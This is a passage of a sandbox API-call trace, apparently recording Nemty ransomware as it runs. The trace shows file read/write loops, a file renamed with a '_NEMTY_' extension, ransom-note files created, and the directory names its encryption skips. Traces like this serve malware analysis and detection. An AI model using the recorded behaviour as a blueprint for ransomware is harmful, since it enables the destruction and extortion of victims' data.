lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.311] CloseHandle (hObject=0xffffffff) returned 0 [0126.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.312] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0126.312] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0126.312] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0126.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0126.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0126.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0126.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0126.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0126.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0126.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0126.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0126.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0126.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.313] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0126.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0126.315] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.315] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0126.316] CloseHandle (hObject=0x254) returned 1 [0126.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0126.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0126.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0126.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0126.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0126.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0126.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0126.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0126.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.317] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0126.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0126.318] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.318] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0126.318] CloseHandle (hObject=0x254) returned 1 [0126.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0126.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0126.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0126.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeef2210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeef2210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0126.319] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0126.319] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfeef2210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfeef2210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0126.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0126.319] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2=".") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="..") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="...") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="windows") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="$RECYCLE.BIN") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="rsa") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="NTDETECT.COM") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="ntldr") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="MSDOS.SYS") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="IO.SYS") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="boot.ini") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="boot.ini") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="AUTOEXEC.BAT") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="ntuser.dat") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="desktop.ini") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="CONFIG.SYS") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="RECYCLER") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="BOOTSECT.BAK") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="bootmgr") returned 1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="programdata") returned -1 [0126.319] lstrcmpiW (lpString1="currency.js", lpString2="appdata") returned 1 [0126.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.js", lpUsedDefaultChar=0x0) returned 11 [0126.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.js", lpUsedDefaultChar=0x0) returned 11 [0126.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.js", lpUsedDefaultChar=0x0) returned 11 [0126.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0126.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="currency.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currency.js", lpUsedDefaultChar=0x0) returned 11 [0126.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0126.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.320] Sleep (dwMilliseconds=0x5) [0126.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfef18370, dwHighDateTime=0x1d561e7)) [0126.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfef18370, dwHighDateTime=0x1d561e7)) [0126.327] GetLastError () returned 0xb7 [0126.327] 